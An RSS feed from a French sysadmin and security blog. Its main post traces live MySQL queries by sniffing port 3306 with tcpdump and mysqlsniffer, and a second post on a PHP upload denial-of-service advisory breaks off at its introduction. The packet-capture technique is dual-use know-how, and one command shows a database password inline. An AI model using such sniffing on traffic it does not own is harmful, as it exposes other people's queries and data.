<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Le blog de John Jean</title>
	<atom:link href="http://www.john-jean.com/blog/feed" rel="self" type="application/rss+xml" />
	<link>http://www.john-jean.com/blog</link>
	<description>Actualité de sécurité informatique</description>
	<lastBuildDate>Wed, 19 May 2010 09:19:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Tracer les requêtes MySQL en cours d&#8217;exécution</title>
		<link>http://www.john-jean.com/blog/sysadmin/tracer-les-requetes-mysql-en-cours-dexecution-330</link>
		<comments>http://www.john-jean.com/blog/sysadmin/tracer-les-requetes-mysql-en-cours-dexecution-330#comments</comments>
		<pubDate>Tue, 18 May 2010 23:03:38 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sysadmin]]></category>
		<category><![CDATA[3306]]></category>
		<category><![CDATA[binary log]]></category>
		<category><![CDATA[libpcap]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[mysqlsniffer]]></category>
		<category><![CDATA[query log]]></category>
		<category><![CDATA[show processlist]]></category>
		<category><![CDATA[slow query log]]></category>
		<category><![CDATA[sniffer MySQL]]></category>
		<category><![CDATA[tcpdump]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/?p=330</guid>
		<description><![CDATA[Cette méthode permet de tracer l'intégralité des requêtes exécutées par MySQL à un instant T en utilisant tcpdump/libpcap.]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.john-jean.com/blog/wp-content/uploads/2010/05/mysql_logo.jpg" alt="mysql logo" width="165" height="147" align="left" /></p>
<p>S&#8217;il est relativement aisé de débugger une application en cours de développement ou lors des phases de preprod, c&#8217;est une toute autre histoire lorsque celle-ci est en production, et que l&#8217;on doit continuer à servir les pages aux internautes sans (trop) dégrader l&#8217;applicatif.</p>
<p>L&#8217;un des problèmes majeurs, si cela n&#8217;a pas été prévu en amont ou lors des tests unitaires, est de traquer ce que doit traiter MySQL à un instant T pour comprendre pourquoi mysqld utilise, par exemple, plus de 50% du CPU. En effet, les 3/4 des soucis de performance que nous rencontrons sur les développements sont dus à des requêtes mal pensées ou mal utilisées.</p>
<p><span id="more-330"></span></p>
<p>Dans le cadre d&#8217;un récent développement par un prestataire, nous avons eu à auditer une application qu&#8217;il a livré. Celle-ci avait une architecture relativement simple: Flex pour l&#8217;interface utilisateur, PHP propulsé par un Framework dont je tairais le nom pour traiter les actions de l&#8217;utilisateur, et ce dernier fait donc exécuter les requêtes MySQL pour servir le contenu au Flex. Au delà de ça, diverses choses comme du chat et de la webcam sont traitées par un serveur de streaming propriétaire d&#8217;Adobe: Flash Media Server (FMS pour les intimes). Le contexte d&#8217;analyse est simple: &laquo;&nbsp;tout se passait bien jusqu&#8217;au jour de la mise en beta&nbsp;&raquo;, jour à partir duquel il a été mis à disposition d&#8217;un bien grand nombre d&#8217;internautes des invitations &laquo;&nbsp;privées&nbsp;&raquo;, information relayée par quelques tweets de <a href="http://www.korben.info" target="_blank">bloggeurs influents</a>, tout ceci histoire de lancer paisiblement la machine. Ce jour là les classiques ont été constatés: charge apache, charge MySQL, SWAP et le tout s&#8217;est terminé en beauté par un magnifique segfault de FMS.</p>
<p>Afin de faire comprendre au prestataire que les soucis de performance n&#8217;étaient ni du:</p>
<ul>
<li>à une incroyable et incontrôlable explosion du trafic sur le serveur</li>
<li>à l&#8217;incompétence du sysadmin</li>
<li>à un comportement ésotérique du serveur</li>
<li>au sous dimensionnement du hardware (pour cette partie en tout cas) [1]</li>
<li>à bien d&#8217;autres choses&#8230;</li>
</ul>
<p>nous avons décidé de sortir sur un laps de quinze minutes les requêtes que devait exécuter MySQL. Ça c&#8217;était pour la théorie, maintenant quelle solution choisir ?</p>
<ol>
<li><strong>Utiliser munin</strong><br />
Munin ne nous aurait donné qu&#8217;une statistique générale du nombre de requêtes à traiter à un instant, sans nous en extraire le contenu. En effet, si l&#8217;on se penche sur le plugin mysql_queries de munin situé dans /usr/share/munin/plugins/, on observe qu&#8217;il ne fait qu&#8217;utiliser mysqladmin avec l&#8217;argument extended-status:</p>
<pre name="code" class="py">my $MYSQLADMIN = $ENV{mysqladmin} || "mysqladmin";
my $COMMAND = "$MYSQLADMIN $ENV{mysqlopts} extended-status";</pre>
</li>
</ol>
<ol>
<li><strong>Utiliser le <a title="Mysql Query log" href="http://dev.mysql.com/doc/refman/5.1/en/query-log.html" target="_blank">query log</a> de MySQL</strong><br />
Inenvisageable au moins pour deux raisons: nous étions en production, et donc pas envie de faire une erreur de configuration, aussi minime soit-elle. Mais surtout activer les logs de MySQL, sans savoir précisément de quoi il en retourne derrière (en volume de requêtes), c&#8217;est un coup à aggraver la situation en faisant exploser les I/O et par la même d&#8217;augmenter l&#8217;overhead de la machine. Le /etc/mysql/my.cnf est d&#8217;ailleurs plutôt clair à ce sujet:</p>
<pre class="py">
# Both location gets rotated by the cronjob.
# <strong>Be aware that this log type is a performance killer.</strong>
# log = /var/log/mysql/mysql.log
</pre>
</li>
<li><strong>Utiliser le <a title="Slow query log MySQL" href="http://dev.mysql.com/doc/refman/5.0/en/slow-query-log.html" target="_blank">slow query log</a> de MySQL<br />
</strong>Il ne recense que les requêtes qui prennent plus d&#8217;une seconde. Le problème est que la plupart des soucis de performance ne viennent pas de requêtes trop longues, mais simplement de requêtes qui sont exécutées très souvent, par exemple dans une boucle au lieu d&#8217;utiliser un JOIN.</li>
<li><strong>Utiliser le <a title="MySQL Binary log" href="http://dev.mysql.com/doc/refman/5.0/en/binary-log.html" target="_blank">log binaire</a> de MySQL<br />
</strong>Utilisation inappropriée: il enregistre l&#8217;intégralité des changements et est généralement utilisé pour la réplication, du fait de son contenu et de son format.</li>
<li><strong>Utiliser <a title="SHow profiles MySQL" href="http://dev.mysql.com/doc/refman/5.0/en/show-profiles.html" target="_blank">SHOW PROFILES</a></strong><br />
Malheureusement, il ne fait état que des ressources, ne gère pas l&#8217;intégralité des requêtes et doit surtout être <a href="http://dev.mysql.com/tech-resources/articles/using-new-query-profiler.html" target="_blank">gourmand</a>.</li>
<li><strong>Utiliser le patch de Google <a title="Mysql user statistics - Google patch" href="http://www.mysqlperformanceblog.com/2008/09/12/googles-user_statistics-v2-port-and-changes/" target="_blank">user_statistics<br />
</a></strong>Cette solution semble réellement viable pour analyser les performances par utilisateur, mais cela ne collait pas du tout à l&#8217;utilisation que je souhaitais en faire. Et ce n&#8217;était de toute façon pas déployé sur la machine.</li>
<li><strong>Utiliser <a title="MySQL Proxy" href="http://forge.mysql.com/wiki/MySQL_Proxy" target="_blank">Mysql Proxy</a></strong><br />
Cette solution est réellement idéale, elle embarque load balancing, failover, <strong>query analysis, query filtering</strong>,&#8230; avec de beaux charts. Malheureusement, même tarif que pour les logs cités précédemment: On ne déploie pas cela sur de la prod lorsqu&#8217;il est trop tard.</li>
</ol>
<p>Toutes ces solutions semblaient efficaces pour benchmarker au global un applicatif, un utilisateur, ou pour analyser les requêtes au globale, mais pas pour faire un snapshot à un instant T sans mettre le serveur à genoux.</p>
<p>Il existait un solution un peu bâtarde connue de tous:</p>
<ul>
<li><strong>La commande showprocesslist</strong><br />
Cette commande affiche la liste des requêtes en cours d&#8217;exécution. Pour chaque requête, vous pouvez voir en combien de temps celle-ci a été exécutée, son utilisateur et son état. Le soucis est que le snap est fait à l&#8217;instant précis où l&#8217;on tape la commande. En d&#8217;autre terme, je ne connais QUE la requête qui est exécutée précisément à CET instant. Je ne connais ni celle d&#8217;avant, ni celle d&#8217;après. C&#8217;est évidement la grosse limitation de cette méthode. Son avantage est en revanche d&#8217;être présent nativement sur toutes les versions de MySQL. On pouvait donc imaginer réunir les requêtes à l&#8217;aide un bête script:</p>
<pre>
john@laptop:~$ ./process.sh > dump
#!/bin/sh
while true
do
mysqladmin -ujohn -puuencode processlist
done
</pre>
<p>Pour le coup cette méthode ne m&#8217;a rien apporté de concluant:</p>
<pre>
+-------+------+-----------+----+---------+------+-------+------------------+
| Id    | User | Host      | db | Command | Time | State | Info             |
+-------+------+-----------+----+---------+------+-------+------------------+
| 22703 | joh  | localhost |    | Query   | 0    |       | show processlist |
+-------+------+-----------+----+---------+------+-------+------------------+
</pre>
</li>
</ul>
<p>Je n&#8217;ai trouvé que deux solutions pour réussir à faire ce dont j&#8217;avais besoin, mais ces deux solutions sont globalement les mêmes, elles utilisent la même méthode et le même principe: sniffer ce qui se passe sur le port 3306, port d&#8217;écoute de MySQL.</p>
<ol>
<li><strong>Utilisation de tcpdump<br />
</strong>J&#8217;ai donc entrepris de sniffer ce qui arrivait sur le 3306 avec tcpdump/libpcap à l&#8217;aide de la commande suivante [2]:</p>
<pre name="code" class="py">tcpdump -i lo -s 0 -l -w - dst port 3306 | strings | perl -e '
while(&lt;&gt;) { chomp; next if /^[^ ]+[ ]*$/;
if(/^(SELECT|UPDATE|DELETE|INSERT|SET|COMMIT|ROLLBACK|CREATE|DROP|ALTER|SHOW)/i) {
if (defined $q) { print "$q\n"; }
$q=$_;
} else {
$_ =~ s/^[ \t]+//; $q.=" $_";
}
}'
</pre>
<p>Celle-ci affichera en interactif l&#8217;intégralité des requêtes qui sont soumises à MySQL. Cette méthode n&#8217;a rien donné dans un premier temps: les fichiers de configuration utilisaient localhost comme hôte de connexion. J&#8217;ai donc du modifier l&#8217;hôte en 127.0.0.1 pour passer par la network stack. Et là, Ô joie, toutes les requêtes processées par MySQL s&#8217;empilent les unes aux autres dans mon shell.</li>
<li><strong>Utilisation de <a href="http://hackmysql.com/mysqlsniffer" target="_blank">mysqlsniffer<br />
</a></strong>Cette méthode est plus commode pour le néophyte, et elle permet de dumper efficacement la requête, mais également la réponse de MySQL. Pour l&#8217;utiliser, voici la marche à suivre:</p>
<pre name="code" class="py">apt-get install libpcap-dev
mkdir &amp;&amp; cd mysqlsniffer
wget http://hackmysql.com/code/mysqlsniffer.tgz
tar zxvf mysqlsniffer.tgz
gcc -O2 -lpcap -o mysqlsniffer mysqlsniffer.c packet_handlers.c misc.c
</pre>
<p>Après il n&#8217;y a plus qu&#8217;à:</p>
<pre name="code" class="py">john@laptop:~$ ./mysqlsniffer
mysqlsniffer v1.2 - Watch MySQL traffic on a TCP/IP network
Usage: mysqlsniffer [OPTIONS] INTERFACE
OPTIONS:
--port N Listen for MySQL on port number N (default 3306)
--verbose Show extra packet information
--tcp-ctrl Show TCP control packets (SYN, FIN, RST, ACK)
--net-hdrs Show major IP and TCP header values
--no-mysql-hdrs Do not show MySQL header (packet ID and length)
--state Show state
--v40 MySQL server is version 4.0
--dump Dump all packets in hex
--help Print this
Original source code and more information at:

http://hackmysql.com/mysqlsniffer
</pre>
</li>
</ol>
<p>Allez, pour le plaisir des yeux, une requête parmi tant d&#8217;autres que j&#8217;ai pu trouver lors du dump. Elle est exécutée à chaque inscription, ou à chaque modification dans le profil de l&#8217;utilisateur, la grande classe. Bah quoi, elle est sujette à changer souvent cette liste. Ce que vous êtes médisants.</p>
<pre name="code" class="sql">­127.0.0.1.59387 &gt; server: ID 0 len 46 COM_QUERY: SELECT * FROM `countries` ORDER BY `name` ASC
server &gt; 127.0.0.1.59387: ID 1 len 1 4 Fields
ID 2 len 47 Field: john.countries.id &lt;type tiny int (8961) size 3&gt;
ID 3 len 51 Field: john.countries.name &lt;type var string (253) size 135&gt;
ID 4 len 59 Field: john.countries.latitude &lt;type float (4) size 12&gt;
ID 5 len 61 Field: john.countries.longitude &lt;type float (4) size 12&gt;
ID 6 len 5 End &lt;warnings 0&gt;
ID 7 len 20 || 3 | Afghanistan | 33 | 65 ||
ID 8 len 26 || 233 | Afrique du Sud | -29 | 24 ||
ID 9 len 16 || 6 | Albanie | 41 | 20 ||
ID 10 len 17 || 59 | Algérie | 28 | 3 ||
ID 11 len 18 || 54 | Allemagne | 51 | 9 ||
ID 12 len 19 || 1 | Andorre | 42.5 | 1.5 ||
ID 13 len 20 || 9 | Angola | -12.5 | 18.5 ||
ID 14 len 26 || 5 | Anguilla | 18.25 | -63.1667 ||
ID 15 len 21 || 10 | Antarctique | -90 | 0 ||
ID 16 len 33 || 4 | Antigua-et-Barbuda | 17.05 | -61.8 ||
ID 17 len 39 || 8 | Antilles néerlandaises | 12.25 | -68.75 ||
ID 18 len 26 || 182 | Arabie saoudite | 25 | 45 ||
ID 19 len 21 || 11 | Argentine | -34 | -64 ||
ID 20 len 17 || 7 | Arménie | 40 | 45 ||
ID 21 len 23 || 15 | Aruba | 12.5 | -69.9667 ||
ID 22 len 21 || 14 | Australie | -27 | 133 ||
ID 23 len 28 || 13 | Autriche | 47.3333 | 13.3333 ||
ID 24 len 26 || 16 | Azerbaïdjan | 40.5 | 47.5 ||
ID 25 len 21 || 30 | Bahamas | 24.25 | -76 ||
ID 26 len 21 || 23 | Bahren | 26 | 50.55 ||
ID 27 len 20 || 19 | Bangladesh | 24 | 90 ||
ID 28 len 28 || 18 | Barbade | 13.1667 | -59.5333 ||
ID 29 len 20 || 175 | Belau | 7.5 | 134.5 ||
ID 30 len 22 || 20 | Belgique | 50.8333 | 4 ||
ID 31 len 23 || 35 | Belize | 17.25 | -88.75 ||
ID 32 len 19 || 25 | Bénin | 9.5 | 2.25 ||
ID 33 len 27 || 26 | Bermudes | 32.3333 | -64.75 ||
ID 34 len 21 || 31 | Bhoutan | 27.5 | 90.5 ||
ID 35 len 22 || 34 | Biélorussie | 53 | 28 ||
ID 36 len 19 || 138 | Birmanie | 22 | 98 ||
ID 37 len 19 || 28 | Bolivie | -17 | -65 ||
ID 38 len 29 || 17 | Bosnie-HerzÃ©govine | 44 | 18 ||
ID 39 len 19 || 33 | Botswana | -22 | 24 ||
ID 40 len 19 || 29 | Brésil | -10 | -55 ||
ID 41 len 22 || 27 | Brunei | 4.5 | 114.667 ||
ID 42 len 18 || 22 | Bulgarie | 43 | 25 ||
ID 43 len ­22 || 21 | Burkina Faso | 13 | -2 ||
ID 44 len 19 || 24 | Burundi | -3.5 | 30 ||
ID 45 len 20 || 111 | Cambodge | 13 | 105 ||
ID 46 len 17 || 45 | Cameroun | 6 | 12 ||
ID 47 len 17 || 36 | Canada | 60 | -95 ||
ID 48 len 19 || 50 | Cap-Vert | 16 | -24 ||
ID 49 len 17 || 44 | Chili | -30 | -71 ||
ID 50 len 16 || 46 | Chine | 35 | 105 ||
ID 51 len 16 || 52 | Chypre | 35 | 33 ||
ID 52 len 18 || 47 | Colombie | 4 | -72 ||
ID 53 len 27 || 113 | Comores | -12.1667 | 44.25 ||
ID 54 len 15 || 40 | Congo | -1 | 15 ||
ID 55 len 26 || 115 | Corée du Nord | 40 | 127 ||
ID 56 len 27 || 116 | Corée du Sud | 37 | 127.5 ||
ID 57 len 21 || 48 | Costa Rica | 10 | -84 ||
ID 58 len 23 || 42 | Côte d'Ivoire | 8 | -5 ||
ID 59 len 24 || 94 | Croatie | 45.1667 | 15.5 ||
ID 60 len 17 || 49 | Cuba | 21.5 | -80 ||
ID 61 len 18 || 56 | Danemark | 56 | 10 ||
ID 62 len 20 || 55 | Djibouti | 11.5 | 43 ||
ID 63 len 30 || 57 | Dominique | 15.4167 | -61.3333 ||
ID 64 len 16 || 62 | Egypte | 27 | 30 ||
ID 65 len 28 || 2 | Emirats arabes unis | 24 | 54 ||
ID 66 len 21 || 60 | Equateur | -2 | 77.5 ||
ID 67 len 19 || 64 | Erythrée | 15 | 39 ||
ID 68 len 17 || 65 | Espagne | 40 | -4 ||
ID 69 len 17 || 61 | Estonie | 59 | 26 ||
ID 70 len 22 || 219 | Etats-Unis | 38 | -97 ||
ID 71 len 17 || 66 | Ethiopie | 8 | 38 ||
ID 72 len 55 || 136 | ex-République yougoslave de Macédoine | 41.8333 | 22 ||
ID 73 len 18 || 67 | Finlande | 64 | 26 ||
ID 74 len 15 || 72 | France | 46 | 2 ||
ID 75 len 18 || 73 | Gabon | -1 | 11.75 ||
ID 76 len 27 || 81 | Gambie | 13.4667 | -16.5667 ||
ID 77 len 20 || 76 | Géorgie | 42 | 43.5 ||
ID 78 len 14 || 78 | Ghana | 8 | -2 ||
ID 79 len 29 || 79 | Gibraltar | 36.1833 | -5.3667 ||
ID 80 len 16 || 85 | Grèce | 39 | 22 ||
ID 81 len 28 || 75 | Grenade | 12.1167 | -61.6667 ||
ID 82 len 20 || 80 | Groenland | 72 | -40 ||
ID 83 len 24 || 88 | Guam | 13.4667 | 144.783 ||
ID 84 len 25 || 87 | Guatemala | 15.5 | -90.25 ||
ID 85 len 18 || 82 | Guinée | 11 | -10 ||
ID 86 len 29 || 84 | Guinée équatoriale | 2 | 10 ||
ID 87 len 25 || 89 | Guinée-Bissao | 12 | -15 ||
ID 88 len 16 || 90 | Guyana | 5 | -59 ||
ID 89 len 22 || 95 | Haïti| 19 | -72.4167 ||
ID 90 len 21 || 93 | Honduras | 15 | -86.5 ||
ID 91 len 27 || 91 | Hong Kong | 22.25 | 114.167 ||
ID 92 len 17 || 96 | Hongrie | 47 | 20 ||
ID 93 len 27 || 32 | Ile Bouvet | -54.4333 | 3.4 ||
ID 94 len 31 || 51 | Ile Christmas | -10.5 | 105.667 ||
ID 95 len 32 || 155 | Ile Norfolk | -29.0333 | 167.95 ||
ID 96 len 27 || 118 | Iles Cayman | 19.5 | -80.5 ||
ID 97 len 31 || 43 | Iles Cook | -21.2333 | -159.767 ||
ID 98 len 42 || 37 | Iles des Cocos (Keeling) | -12.5 | 96.8333 ||
ID 99 len 28 || 69 | Iles Falkland | -51.75 | -59 ||
ID 100 len 22 || 71 | Iles Féroé | 62 | -7 ||
ID 101 len 22 || 68 | Iles Fidji | -18 | 175 ||
ID 102 len 53 || 86 | Iles Géorgie du Sud et Sandwich du Sud | -54.5 | -37 ||
ID 103 len 40 || 92 | Iles Heard et McDonald | -53.1 | 72.5167 ||
ID 104 len 24 || 135 | Iles Marshall | 9 | 168 ||
ID 105 len 59 || 218 | Iles mineures éloignées des Etats-Unis | 19.2833 | 166.6 ||
ID 106 len 22 || 236 | Iles Pitcairn | 0 | 0 ||
ID 107 len 24 || 183 | Iles Salomon | -8 | 159 ||
ID 108 len 37 || 190 | Iles Svalbard et Jan Mayen | 78
ID 109 len 40 || 201 | Iles Turks-et-Caicos | 21.75 | -71.5833 ||
ID 110 len 47 || 226 | Iles Vierges américaines | 18.3333 | -64.8333 ||
ID 111 len 41 || 225 | Iles Vierges britanniques | 18.5 | -64.5 ||
ID 112 len 15 || 100 | Inde | 20 | 77 ||
ID 113 len 21 || 97 | Indonésie | -5 | 120 ||
ID 114 len 15 || 103 | Iran | 32 | 53 ||
ID 115 len 15 || 102 | Iraq | 33 | 44 ||
ID 116 len 17 || 98 | Irlande | 53 | -8 ||
ID 117 len 19 || 104 | Islande | 65 | -18 ||
ID 118 len 22 || 99 | Israël | 31.5 | 34.75 ||
ID 119 len 27 || 105 | Italie | 42.8333 | 12.8333 ||
ID 120 len 26 || 106 | Jamaïque | 18.25 | -77.5 ||
ID 121 len 17 || 108 | Japon | 36 | 138 ||
ID 122 len 19 || 107 | Jordanie | 31 | 36 ||
ID 123 len 21 || 119 | Kazakhstan | 48 | 68 ||
ID 124 len 15 || 109 | Kenya | 1 | 38 ||
ID 125 len 23 || 110 | Kirghizistan | 41 | 75 ||
ID 126 len 24 || 112 | Kiribati | 1.4167 | 173 ||
ID 127 len 28 || 117 | Koweït | 29.3375 | 47.6581 ||
ID 128 len 16 || 120 | Laos | 18 | 105 ||
ID 129 len 23 || 126 | Lesotho | -29.5 | 28.5 ||
ID 130 len 19 || 129 | Lettonie| 57 | 25 ||
ID 131 len 26 || 121 | Liban | 33.8333 | 35.8333 ||
ID 132 len 21 || 125 | Liberia | 6.5 | -9.5 ||
ID 133 len 16 || 130 | Libye | 25 | 17 ||
ID 134 len 33 || 123 | Liechtenstein | 47.1667 | 9.5333 ||
ID 135 len 19 || 127 | Lituanie | 56 | 24 ||
ID 136 len 28 || 128 | Luxembourg | 49.75 | 6.1667 ||
ID 137 len 25 || 140 | Macao | 22.1667 | 113.55 ||
ID 138 len 22 || 134 | Madagascar | -20 | 47 ||
ID 139 len 23 || 150 | Malaisie | 2.5 | 112.5 ||
ID 140 len 20 || 148 | Malawi | -13.5 | 34 ||
ID 141 len 21 || 147 | Maldives | 3.25 | 73 ||
ID 142 len 15 || 137 | Mali | 17 | -4 ||
ID 143 len 26 || 145 | Malte | 35.8333 | 14.5833 ||
ID 144 len 34 || 141 | Mariannes du Nord | 15.2 | 145.75 ||
ID 145 len 16 || 131 | Maroc | 32 | -5 ||
ID 146 len 27 || 146 | Maurice | -20.2833 | 57.55 ||
ID 147 len 22 || 143 | Mauritanie | 20 | -12 ||
ID 148 len 20 || 149 | Mexique | 23 | -102 ||
ID 149 len 29 || 70 | Micronésie | 6.9167 | 158.25 ||
ID 150 len 19 || 133 | Moldavie | 47 | 29 ||
ID 151 len 23 || 132 | Monaco | 43.7333 | 7.4 ||
ID 152 len 20 || 139 | Mongolie |
ID 153 len 27 || 144 | Montserrat | 16.75 | -62.2 ||
ID 154 len 25 || 151 | Mozambique | -18.25 | 35 ||
ID 155 len 19 || 152 | Namibie | -22 | 17 ||
ID 156 len 26 || 161 | Nauru | -0.5333 | 166.917 ||
ID 157 len 17 || 160 | Népal | 28 | 84 ||
ID 158 len 21 || 157 | Nicaragua | 13 | -85 ||
ID 159 len 15 || 154 | Niger | 16 | 8 ||
ID 160 len 17 || 156 | Nigeria | 10 | 8 ||
ID 161 len 29 || 162 | Nioué | -19.0333 | -169.867 ||
ID 162 len 19 || 159 | Norvège | 62 | 10 ||
ID 163 len 36 || 153 | Nouvelle-Calédonie | -21.5 | 165.5 ||
ID 164 len 30 || 163 | Nouvelle-Zélande | -41 | 174 ||
ID 165 len 15 || 164 | Oman | 21 | 57 ||
ID 166 len 17 || 217 | Ouganda | 1 | 32 ||
ID 167 len 23 || 221 | Ouzbékistan | 41 | 64 ||
ID 168 len 19 || 170 | Pakistan | 30 | 70 ||
ID 169 len 17 || 165 | Panama | 9 | -80 ||
ID 170 len 38 || 168 | Papouasie-Nouvelle-Guinée | -6 | 147 ||
ID 171 len 21 || 176 | Paraguay | -23 | -58 ||
ID 172 len 23 || 158 | Pays-Bas | 52.5 | 5.75 ||
ID 173 len 19 || 166 | Pérou | -10 | -76 ||
ID 174 len 23 || 169 | Philippines | 13 | 122
ID 175 len 18 || 171 | Pologne | 52 | 20 ||
ID 176 len 35 || 167 | Polynésie française | -15 | -140 ||
ID 177 len 27 || 173 | Porto Rico | 18.25 | -66.5 ||
ID 178 len 21 || 174 | Portugal | 39.5 | -8 ||
ID 179 len 21 || 177 | Qatar | 25.5 | 51.25 ||
ID 180 len 35 || 39 | République centrafricaine | 7 | 21 ||
ID 181 len 43 || 38 | République démocratique du Congo | 0 | 25 ||
ID 182 len 39 || 58 | République dominicaine | 19 | -70.6667 ||
ID 183 len 35 || 53 | République tchèque | 49.75 | 15.5 ||
ID 184 len 19 || 179 | Roumanie | 46 | 25 ||
ID 185 len 21 || 74 | Royaume-Uni | 54 | -2 ||
ID 186 len 18 || 180 | Russie | 60 | 100 ||
ID 187 len 17 || 181 | Rwanda | -2 | 30 ||
ID 188 len 30 || 63 | Sahara occidental | 24.5 | -13 ||
ID 189 len 48 || 114 | Saint-Christophe-et- | 17.3333 | -62.75 ||
ID 190 len 32 || 193 | Saint-Marin | 43.7667 | 12.4167 ||
ID 191 len 48 || 223 | Saint-Vincent-et-les-Grenadines | 13.25 | -61.2 ||
ID 192 len 34 || 188 | Sainte-Hélène | -15.9333 | -5.7 ||
ID 193 len 34 || 122 | Sainte-Lucie | 13.8833 | -61.1333 ||
ID 194 30 || 198 | Salvador | 13.8333 | -88.9167 ||
ID 195 len 28 || 230 | Samoa | -13.5833 | -172.333 ||
ID 196 len 36 || 12 | Samoa américaines | -14.3333 | -170 ||
ID 197 len 30 || 197 | Sao Tomé-et-Principe | 1 | 7 ||
ID 198 len 21 || 194 | Sénégal | 14 | -14 ||
ID 199 len 30 || 237 | Serbie et Monténegro | 0 | 0 ||
ID 200 len 31 || 184 | Seychelles | -4.5833 | 55.6667 ||
ID 201 len 27 || 192 | Sierra Leone | 8.5 | -11.5 ||
ID 202 len 27 || 187 | Singapour | 1.3667 | 103.8 ||
ID 203 len 27 || 191 | Slovaquie | 48.6667 | 19.5 ||
ID 204 len 20 || 189 | Slovénie | 46 | 15 ||
ID 205 len 18 || 195 | Somalie | 10 | 49 ||
ID 206 len 17 || 185 | Soudan | 15 | 30 ||
ID 207 len 19 || 124 | Sri Lanka | 7 | 81 ||
ID 208 len 17 || 186 | Suède | 62 | 15 ||
ID 209 len 15 || 41 | Suisse | 47 | 8 ||
ID 210 len 19 || 196 | Suriname | 4 | -56 ||
ID 211 len 25 || 200 | Swaziland | -26.5 | 31.5 ||
ID 212 len 16 || 199 | Syrie | 35 | 38 ||
ID 213 len 22 || 206 | Tadjikistan | 39 | 71 ||
ID 214 len 21 || 214 | Taïwan | 23.5 | 121 ||
ID 215 len 19 || 215 | Tanzanie | -6 | 35
ID 216 len 16 || 202 | Tchad | 15 | 19 ||
ID 217 len 40 || 203 | Terres australes françaises | -43 | 67 ||
ID 218 len 54 || 101 | Territoire britannique de l'Océan Indien | -6 | 71.5 ||
ID 219 len 22 || 205 | Thaïlande | 15 | 100 ||
ID 220 len 18 || 204 | Togo | 8 | 1.1667 ||
ID 221 len 22 || 207 | Tokélaou | -9 | -172 ||
ID 222 len 19 || 210 | Tonga | -20 | -175 ||
ID 223 len 30 || 212 | Trinité-et-Tobago | 11 | -61 ||
ID 224 len 17 || 209 | Tunisie | 34 | 9 ||
ID 225 len 24 || 208 | Turkménistan | 40 | 60 ||
ID 226 len 18 || 211 | Turquie | 39 | 35 ||
ID 227 len 18 || 213 | Tuvalu | -8 | 178 ||
ID 228 len 18 || 216 | Ukraine | 49 | 32 ||
ID 229 len 20 || 220 | Uruguay | -33 | -56 ||
ID 230 len 20 || 228 | Vanuatu | -16 | 167 ||
ID 231 len 23 || 222 | Vatican | 41.9 | 12.45 ||
ID 232 len 20 || 224 | Venezuela | 8 | -66 ||
ID 233 len 21 || 227 | Viét Nam | 16 | 106 ||
ID 234 len 34 || 229 | Wallis-et-Futuna | -13.3 | -176.2 ||
ID 235 len 17 || 231 | Yémen | 15 | 48 ||
ID 236 len 18 || 234 | Zambie | -15 | 30 ||
ID 237 len 20 || 235 | Zimbabwe | -20 |
</pre>
<p>Au fait, pour <a title="Le blog de Cédric Blancher" href="http://sid.rstack.org/blog/index.php/394-bobine-de-fils" target="_blank">ceux</a> qui croient que le blog est en friche, j&#8217;ai sorti la tondeuse.</p>
<p>[1]Il faut quand même de sacrés machines pour faire tenir 500 pelos sur un serveur.<br />
<a href="http://www.adobe.com/devnet/flashmediaserver/articles/performance_tuning_webcasts.html">http://www.adobe.com/devnet/flashmediaserver/articles/performance_tuning_webcasts.html</a></p>
<p>[2]Merci à Brian Racer.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/sysadmin/tracer-les-requetes-mysql-en-cours-dexecution-330/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Denial of service PHP sur toutes les versions inférieures à 5.3.1</title>
		<link>http://www.john-jean.com/blog/securite-informatique/denial-of-service-php-sur-toutes-les-versions-inferieures-a-5-3-1-301</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/denial-of-service-php-sur-toutes-les-versions-inferieures-a-5-3-1-301#comments</comments>
		<pubDate>Mon, 23 Nov 2009 08:46:36 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[acunetix]]></category>
		<category><![CDATA[denial of service]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[execution de code]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[faille php]]></category>
		<category><![CDATA[fichiers temporaires]]></category>
		<category><![CDATA[locale inclusion]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/securite-informatique/denial-of-service-php-sur-toutes-les-versions-inferieures-a-5-3-1-301</guid>
		<description><![CDATA[Un advisory concernant les releases PHP antérieures à la version 5.3.1 a été publié ce vendredi. En effet, la 5.3.1 contient un patch pour un DoS ayant été reporté le 27 Octobre 2009. Le problème concerne le support de la RFC 1867 dans PHP (Formulaire d&#8217;upload HTML). &#160; &#160; Concept Lorsque l&#8217;on envoie une requête [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="logo php" align="left" src="http://www.john-jean.com/blog/wp-content/uploads/2009/11/logo_php.gif" width="165" height="124" />Un advisory concernant les releases PHP antérieures à la version 5.3.1 a été publié ce vendredi. En effet, la 5.3.1 contient un patch pour un DoS ayant été reporté le 27 Octobre 2009. Le problème concerne le support de la <a href="http://www.ietf.org/rfc/rfc1867.txt" target="_blank">RFC 1867</a> dans PHP (Formulaire d&#8217;upload HTML).</p>
<p><span id="more-301"></span>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><strong>Concept</strong></p>
